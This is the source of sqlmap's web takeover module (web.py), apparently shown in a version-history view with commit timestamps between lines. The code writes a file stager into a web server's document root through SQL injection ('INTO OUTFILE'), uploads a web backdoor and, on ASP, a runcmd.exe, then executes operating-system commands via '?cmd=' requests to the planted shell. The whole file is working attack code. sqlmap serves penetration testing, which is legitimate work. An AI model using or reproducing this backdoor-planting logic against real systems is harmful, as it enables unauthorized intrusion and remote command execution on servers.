sqlmap/lib/takeover/web.py

313 lines
12 KiB
Python
Raw Normal View History

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
"""
import codecs
import os
2010-02-25 02:40:56 +03:00
import posixpath
import re
2010-01-28 19:56:00 +03:00
from extra.cloak.cloak import decloak
from lib.core.agent import agent
2010-01-28 19:50:34 +03:00
from lib.core.common import decloakToNamedTemporaryFile
2010-11-24 14:38:27 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import ntToPosixSlashes
2010-12-15 15:50:56 +03:00
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
2010-02-25 13:33:41 +03:00
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
2011-02-02 16:34:09 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
class Web:
"""
This class defines web-oriented OS takeover functionalities for
plugins.
"""
def __init__(self):
self.webApi = None
self.webBaseUrl = None
self.webBackdoorUrl = None
2010-10-18 01:06:52 +04:00
self.webStagerUrl = None
2010-01-14 23:42:45 +03:00
self.webDirectory = None
2010-01-14 17:33:08 +03:00
def webBackdoorRunCmd(self, cmd):
if self.webBackdoorUrl is None:
return
output = None
if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
if page is not None:
2010-01-14 17:33:08 +03:00
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
2010-01-14 17:33:08 +03:00
output = output.group(1)
return output
def webFileUpload(self, fileToUpload, destFileName, directory):
2010-05-29 12:58:55 +04:00
inputFP = codecs.open(fileToUpload, "rb")
retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
inputFP.close()
2010-02-04 13:10:41 +03:00
return retVal
2010-01-28 20:07:34 +03:00
2010-01-28 19:50:34 +03:00
def __webFileStreamUpload(self, stream, destFileName, directory):
stream.seek(0) # Rewind
if self.webApi in ("php", "asp", "aspx", "jsp"):
multipartParams = {
"upload": "1",
2010-01-27 16:59:25 +03:00
"file": stream,
"uploadDir": directory,
}
2010-11-24 14:38:27 +03:00
if self.webApi == "aspx":
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
2010-11-24 14:38:27 +03:00
2010-10-18 01:06:52 +04:00
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
2010-01-28 20:07:34 +03:00
if "File uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
2010-10-18 01:06:52 +04:00
warnMsg += "the file stager on '%s'" % directory
logger.warn(warnMsg)
2010-02-04 13:10:41 +03:00
return False
else:
return True
def __webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
query = ""
2010-12-15 15:50:56 +03:00
if isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
2011-02-02 16:34:09 +03:00
if where == PAYLOAD.WHERE.NEGATIVE:
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
query += "LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
2010-02-16 16:24:09 +03:00
return page
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
2010-10-18 01:06:52 +04:00
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
2010-01-28 13:27:47 +03:00
self.checkDbmsOs()
2010-10-18 01:06:52 +04:00
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ['asp', 'aspx', 'php', 'jsp']
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if kb.os == "Windows":
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
2010-12-14 00:34:35 +03:00
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
2011-01-23 23:47:06 +03:00
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
2010-02-25 13:33:41 +03:00
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
2010-02-25 14:40:49 +03:00
originalBackdoorContent = backdoorContent = backdoorStream.read()
2010-10-18 01:06:52 +04:00
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
2011-01-23 23:47:06 +03:00
warned = set()
success = False
2011-01-23 23:47:06 +03:00
for i in xrange(len(kb.docRoot)):
if success:
break
2011-01-23 23:47:06 +03:00
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
2011-01-23 23:47:06 +03:00
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
2011-01-24 00:20:16 +03:00
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
uriPath = uriPath.replace("//", "/").rstrip('/')
2011-01-23 23:47:06 +03:00
localPath = localPath.rstrip('/')
2011-01-24 00:20:16 +03:00
if not uriPath:
uriPath = '/'
2011-01-23 23:47:06 +03:00
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
logger.warn(warnMsg)
warned.add(localPath)
continue
2011-01-23 23:47:06 +03:00
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
2011-01-25 19:05:06 +03:00
warnMsg += "on '%s' but not dynamically interpreted" % localPath
2011-01-23 23:47:06 +03:00
logger.warn(warnMsg)
continue
2011-01-23 23:47:06 +03:00
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
2011-01-23 23:47:06 +03:00
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
2011-01-23 23:47:06 +03:00
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
2011-01-23 23:47:06 +03:00
if match:
backdoorDirectory = match.group(1)
else:
continue
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
2010-02-25 17:06:44 +03:00
else:
2011-01-23 23:47:06 +03:00
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if kb.os == "Windows" else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "with file stager probably because of "
warnMsg += "lack of write permission."
logger.warn(warnMsg)
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
message = "do you want to try the same method used "
message += "for the file stager? [y/N] "
getOutput = readInput(message, default="N")
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
2010-02-25 17:06:44 +03:00
2011-01-23 23:47:06 +03:00
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
2011-01-23 23:47:06 +03:00
success = True
2011-01-23 23:47:06 +03:00
break